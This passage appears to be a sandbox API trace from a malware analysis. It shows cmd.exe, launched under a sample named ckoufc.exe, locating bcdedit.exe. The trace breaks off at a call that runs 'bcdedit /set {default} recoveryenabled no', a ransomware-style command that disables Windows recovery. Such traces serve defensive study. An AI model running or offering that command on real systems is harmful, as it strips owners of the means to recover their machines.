0x21a03fe0040 [0051.622] ??_V@YAXPEAX@Z () returned 0x21a03fe0040 [0051.622] GetProcessHeap () returned 0x21a03df0000 [0051.622] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0x40) returned 0x21a03df8820 [0051.623] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21a03fe0040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0051.623] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x21a03fe0040, lpFilePart=0xb49f0ff7a0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xb49f0ff7a0*="Desktop") returned 0x17 [0051.623] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0051.623] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xb49f0ff4d0 | out: lpFindFileData=0xb49f0ff4d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x21a03df8870 [0051.623] FindClose (in: hFindFile=0x21a03df8870 | out: hFindFile=0x21a03df8870) returned 1 [0051.623] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0xb49f0ff4d0 | out: lpFindFileData=0xb49f0ff4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x21a03df8870 [0051.624] FindClose (in: hFindFile=0x21a03df8870 | out: hFindFile=0x21a03df8870) returned 1 [0051.624] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0xb49f0ff4d0 | out: lpFindFileData=0xb49f0ff4d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9a7d7a61, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x9a7d7a61, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x21a03df8870 [0051.624] FindClose (in: hFindFile=0x21a03df8870 | out: hFindFile=0x21a03df8870) returned 1 [0051.624] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0051.624] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0051.624] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0051.624] GetProcessHeap () returned 0x21a03df0000 [0051.624] RtlFreeHeap (HeapHandle=0x21a03df0000, Flags=0x0, BaseAddress=0x21a03df6660) returned 1 [0051.624] GetEnvironmentStringsW () returned 0x21a03df0fc0* [0051.624] GetProcessHeap () returned 0x21a03df0000 [0051.624] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0xb7e) returned 0x21a03df9400 [0051.624] FreeEnvironmentStringsA (penv="=") returned 1 [0051.624] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21a03fc0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0051.624] GetProcessHeap () returned 0x21a03df0000 [0051.625] RtlFreeHeap (HeapHandle=0x21a03df0000, Flags=0x0, BaseAddress=0x21a03df8820) returned 1 [0051.625] ??_V@YAXPEAX@Z () returned 0x1 [0051.625] ??_V@YAXPEAX@Z () returned 0x1 [0051.625] GetProcessHeap () returned 0x21a03df0000 [0051.625] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0x4016) returned 0x21a03df9f90 [0051.625] GetProcessHeap () returned 0x21a03df0000 [0051.625] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0x68) returned 0x21a03df0fc0 [0051.625] GetProcessHeap () returned 0x21a03df0000 [0051.625] RtlFreeHeap (HeapHandle=0x21a03df0000, Flags=0x0, BaseAddress=0x21a03df9f90) returned 1 [0051.625] GetConsoleOutputCP () returned 0x1b5 [0051.690] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7b827fbb0 | out: lpCPInfo=0x7ff7b827fbb0) returned 1 [0051.690] GetUserDefaultLCID () returned 0x409 [0051.690] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7b827bb78, cchData=8 | out: lpLCData=":") returned 2 [0051.690] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xb49f0ffb60, cchData=128 | out: lpLCData="0") returned 2 [0051.690] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xb49f0ffb60, cchData=128 | out: lpLCData="0") returned 2 [0051.691] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xb49f0ffb60, cchData=128 | out: lpLCData="1") returned 2 [0051.691] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7b827bb68, cchData=8 | out: lpLCData="/") returned 2 [0051.691] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7b827bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0051.691] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7b827bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0051.691] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7b827ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0051.691] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7b827ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0051.691] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7b827ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0051.691] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7b827b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0051.691] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7b827b980, cchData=32 | out: lpLCData="Sun") returned 4 [0051.691] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7b827bb58, cchData=8 | out: lpLCData=".") returned 2 [0051.691] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7b827bb40, cchData=8 | out: lpLCData=",") returned 2 [0051.691] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0051.692] GetProcessHeap () returned 0x21a03df0000 [0051.692] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x0, Size=0x20c) returned 0x21a03df10a0 [0051.692] GetConsoleTitleW (in: lpConsoleTitle=0x21a03df10a0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe") returned 0x23 [0051.749] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0051.749] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0051.749] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0051.749] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0051.749] ??_V@YAXPEAX@Z () returned 0x1 [0051.750] GetProcessHeap () returned 0x21a03df0000 [0051.750] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0x4012) returned 0x21a03df9f90 [0051.750] GetProcessHeap () returned 0x21a03df0000 [0051.750] RtlFreeHeap (HeapHandle=0x21a03df0000, Flags=0x0, BaseAddress=0x21a03df9f90) returned 1 [0051.750] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0051.750] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0051.750] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0051.750] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0051.751] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0051.751] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0051.751] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0051.751] GetProcessHeap () returned 0x21a03df0000 [0051.751] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0xb0) returned 0x21a03df12c0 [0051.751] GetProcessHeap () returned 0x21a03df0000 [0051.751] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0x20) returned 0x21a03df8820 [0051.751] GetProcessHeap () returned 0x21a03df0000 [0051.751] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0x56) returned 0x21a03df1380 [0051.752] GetConsoleTitleW (in: lpConsoleTitle=0xb49f0ffa50, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe") returned 0x23 [0051.816] malloc (_Size=0xffce) returned 0x21a03fd0060 [0051.816] ??_V@YAXPEAX@Z () returned 0x21a03fd0060 [0051.817] malloc (_Size=0xffce) returned 0x21a03fe0040 [0051.817] ??_V@YAXPEAX@Z () returned 0x21a03fe0040 [0051.817] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0051.817] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0051.817] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0051.817] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0051.818] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0051.818] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0051.818] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0051.818] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0051.818] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0051.818] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0051.818] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0051.818] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0051.818] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0051.818] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0051.818] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0051.818] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0051.818] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0051.818] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0051.818] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0051.818] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0051.818] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0051.818] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0051.818] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0051.818] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0051.818] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0051.818] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0051.818] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0051.818] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0051.818] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0051.818] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0051.818] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0051.818] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0051.818] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0051.818] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0051.818] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0051.818] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0051.818] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0051.818] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0051.818] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0051.818] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0051.818] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0051.818] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0051.819] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0051.819] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0051.819] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0051.819] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0051.819] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0051.819] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0051.819] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0051.819] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0051.819] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0051.819] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0051.819] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0051.819] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0051.819] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0051.819] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0051.819] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0051.819] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0051.819] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0051.819] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0051.819] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0051.819] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0051.819] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0051.819] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0051.819] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0051.819] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0051.819] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0051.819] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0051.819] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0051.819] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0051.819] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0051.819] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0051.819] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0051.819] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0051.819] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0051.819] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0051.819] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0051.819] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0051.819] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0051.819] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0051.819] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0051.819] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0051.819] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0051.819] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0051.819] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0051.819] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0051.819] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0051.820] ??_V@YAXPEAX@Z () returned 0x1 [0051.820] GetProcessHeap () returned 0x21a03df0000 [0051.820] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0xffde) returned 0x21a03df9f90 [0051.820] GetProcessHeap () returned 0x21a03df0000 [0051.820] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0x66) returned 0x21a03df13e0 [0051.820] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0051.821] malloc (_Size=0xffce) returned 0x21a03fe0040 [0051.821] ??_V@YAXPEAX@Z () returned 0x21a03fe0040 [0051.821] GetProcessHeap () returned 0x21a03df0000 [0051.821] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0x1ffac) returned 0x21a03e09f80 [0051.822] SetErrorMode (uMode=0x0) returned 0x0 [0051.822] SetErrorMode (uMode=0x1) returned 0x0 [0051.822] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x21a03e09f90, lpFilePart=0xb49f0ff2d0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xb49f0ff2d0*="Desktop") returned 0x17 [0051.822] SetErrorMode (uMode=0x0) returned 0x1 [0051.822] GetProcessHeap () returned 0x21a03df0000 [0051.822] RtlReAllocateHeap (Heap=0x21a03df0000, Flags=0x0, Ptr=0x21a03e09f80, Size=0x50) returned 0x21a03e09f80 [0051.822] GetProcessHeap () returned 0x21a03df0000 [0051.823] RtlSizeHeap (HeapHandle=0x21a03df0000, Flags=0x0, MemoryPointer=0x21a03e09f80) returned 0x50 [0051.823] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0051.823] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0051.823] GetProcessHeap () returned 0x21a03df0000 [0051.823] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0x1bc) returned 0x21a03df1450 [0051.823] GetProcessHeap () returned 0x21a03df0000 [0051.823] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0x368) returned 0x21a03df1620 [0051.828] GetProcessHeap () returned 0x21a03df0000 [0051.828] RtlReAllocateHeap (Heap=0x21a03df0000, Flags=0x0, Ptr=0x21a03df1620, Size=0x1be) returned 0x21a03df1620 [0051.828] GetProcessHeap () returned 0x21a03df0000 [0051.828] RtlSizeHeap (HeapHandle=0x21a03df0000, Flags=0x0, MemoryPointer=0x21a03df1620) returned 0x1be [0051.828] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0051.828] GetProcessHeap () returned 0x21a03df0000 [0051.828] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0xe8) returned 0x21a03df17f0 [0051.828] GetProcessHeap () returned 0x21a03df0000 [0051.828] RtlReAllocateHeap (Heap=0x21a03df0000, Flags=0x0, Ptr=0x21a03df17f0, Size=0x7e) returned 0x21a03df17f0 [0051.828] GetProcessHeap () returned 0x21a03df0000 [0051.828] RtlSizeHeap (HeapHandle=0x21a03df0000, Flags=0x0, MemoryPointer=0x21a03df17f0) returned 0x7e [0051.829] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0051.829] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0xb49f0ff040, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb49f0ff040) returned 0xffffffffffffffff [0051.829] GetLastError () returned 0x2 [0051.829] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0051.829] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0xb49f0ff040, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb49f0ff040) returned 0xffffffffffffffff [0051.829] GetLastError () returned 0x2 [0051.829] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0051.829] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0xb49f0ff040, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb49f0ff040) returned 0x21a03df1880 [0051.829] GetProcessHeap () returned 0x21a03df0000 [0051.829] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x0, Size=0x28) returned 0x21a03df18e0 [0051.829] FindClose (in: hFindFile=0x21a03df1880 | out: hFindFile=0x21a03df1880) returned 1 [0051.829] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0xb49f0ff040, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb49f0ff040) returned 0xffffffffffffffff [0051.830] GetLastError () returned 0x2 [0051.830] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0xb49f0ff040, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xb49f0ff040) returned 0x21a03df1880 [0051.830] GetProcessHeap () returned 0x21a03df0000 [0051.830] RtlReAllocateHeap (Heap=0x21a03df0000, Flags=0x0, Ptr=0x21a03df18e0, Size=0x8) returned 0x21a03df18e0 [0051.830] FindClose (in: hFindFile=0x21a03df1880 | out: hFindFile=0x21a03df1880) returned 1 [0051.830] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0051.830] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0051.830] ??_V@YAXPEAX@Z () returned 0x1 [0051.830] GetConsoleTitleW (in: lpConsoleTitle=0xb49f0ff5c0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe") returned 0x23 [0051.844] InitializeProcThreadAttributeList (in: lpAttributeList=0xb49f0ff4e0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xb49f0ff3d0 | out: lpAttributeList=0xb49f0ff4e0, lpSize=0xb49f0ff3d0) returned 1 [0051.844] UpdateProcThreadAttribute (in: lpAttributeList=0xb49f0ff4e0, dwFlags=0x0, Attribute=0x60001, lpValue=0xb49f0ff3bc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xb49f0ff4e0, lpPreviousValue=0x0) returned 1 [0051.844] GetStartupInfoW (in: lpStartupInfo=0xb49f0ff470 | out: lpStartupInfo=0xb49f0ff470*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0051.844] GetProcessHeap () returned 0x21a03df0000 [0051.844] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0x20) returned 0x21a03df1880 [0051.844] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0051.844] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0051.844] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0051.844] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0051.844] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0051.844] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0051.844] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0051.844] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0051.845] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0051.845] GetProcessHeap () returned 0x21a03df0000 [0051.845] RtlFreeHeap (HeapHandle=0x21a03df0000, Flags=0x0, BaseAddress=0x21a03df1880) returned 1 [0051.845] GetProcessHeap () returned 0x21a03df0000 [0051.845] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0x12) returned 0x21a03df8850 [0051.845] lstrcmpW (lpString1="\\bcdedit.exe", lpString2="\\XCOPY.EXE") returned -1 [0051.846] _get_osfhandle (_FileHandle=1) returned 0xc [0051.846] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0052.027] _get_osfhandle (_FileHandle=0) returned 0x8 [0052.027] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1f7) returned 1 [0052.821] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\bcdedit.exe", lpCommandLine="bcdedit /set {default} recoveryenabled no", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xb49f0ff400*(cb=0x70, 